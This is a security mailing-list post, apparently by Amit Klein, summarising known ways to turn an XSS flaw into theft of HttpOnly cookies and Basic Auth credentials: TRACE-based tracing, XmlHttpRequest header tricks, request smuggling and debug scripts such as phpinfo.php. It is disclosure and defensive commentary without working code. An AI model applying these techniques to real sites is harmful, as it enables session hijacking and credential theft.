As you know, the HttpOnly field in Set-Cookie is a Microsoft extension to the
Cookie
standard, designed to make it harder to grab cookies through XSS attacks.
Likewise,
HTTP Basic Authentication is sometimes mentioned as an "XSS resistent"
mechanism.
On the other hand, several attacks against the above techniques cropped up in
the
recent few years, and I'd like to summarize them in this message. All attacks
assume
an XSS condition in the application (actually, on the host for which the
cookies/basic
auth is used), and using this XSS condition, the data in the HttpOnly
cookie/basic
auth is read.
1. "Cross Site Tracing" (Jeremiah Grossman, January 2003) -
http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf
Exploiting the TRACE method on the server to echo back request data.
2. Other XmlHttpRequest tricks (Amit Klein, January 2003) -
http://www.modsecurity.org/archive/amit/xst_attack_variants.txt ,
http://www.securityfocus.com/archive/107/308433
Trick 1: Assuming that there is a malicious virtual server hosted on the same
machine (virtual hosting) with the attack target - injecting a bogus Host
header to the XmlHttpRequest object causes the request to arrive to the
malicious server.
Trick 2: Assuming that there is a proxy server on the target host (or an
intermediate proxy
server somewhere along the request path), injecting a proxy-style URL through
the method
argument
of XmlHttpRequest to cause the request to arrive at a malicious host.
3. "XST Strikes Back" (Amit Klein, January 2006) -
http://www.securityfocus.com/archive/1/423028
Variation on Jeremiah Grossman's "Cross Site Tracing" technique (#1 above),
using the TRACE support by intermediate proxy servers (assuming there is at
least one such proxy on the request path).
4. "HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve
Orrin, June
2005) - http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf
Assuming an intermediary proxy server, demonstrates how an XSS condition can be
elevated
into obtaining the request data - see "Example #4 - Request Hijacking".
5. Last but not least, there's a simple technique which I don't remember was
publicly
discussed (though I may be wrong here - please let me know if this is well
known):
Assuming there's a debug/test/... script on the server, which prints out the
HTTP
request headers, then an attack is trivial.
Among those scripts:
printenv
test-cgi
phpinfo.php
...
You'll see the incoming cookies in HTTP_COOKIE. I'm not sure about HTTP Basic
Auth though
(I expected to see it in HTTP_AUTHORIZATION, but it seems that the servers
handle this
header and do not provide it in the ENV variables).
Note that many of these scripts are not recommended in production environments
due to
their very nature of disclosing sensitive info (about the system configuration,
paths,
etc.) as well as their tendency towards being vulnerable to XSS. Yet even if
they sanitize
user input (HTTP headers) and they do not disclose sensitive info, they're
still a problem
when combined with HttpOnly/basic auth.
Bottom line: there are many known attacks against HttpOnly (and
against Basic auth), that is, many known ways to elevate "standard" XSS
condition to
be able to grab session info/credentials stored in HttpOnly cookies/HTTP Basic
auth.
-Amit
-------------------------------------------------------------------------
Sponsored by: Watchfire
The Twelve Most Common Application-level Hack Attacks
Hackers continue to add billions to the cost of doing business online
despite security executives' efforts to prevent malicious attacks. This
whitepaper identifies the most common methods of attacks that we have seen,
and outlines a guideline for developing secure web applications.
Download this whitepaper today!
https://www.watchfire.com/securearea/whitepapers.aspx?id=701300000007t9r
--------------------------------------------------------------------------
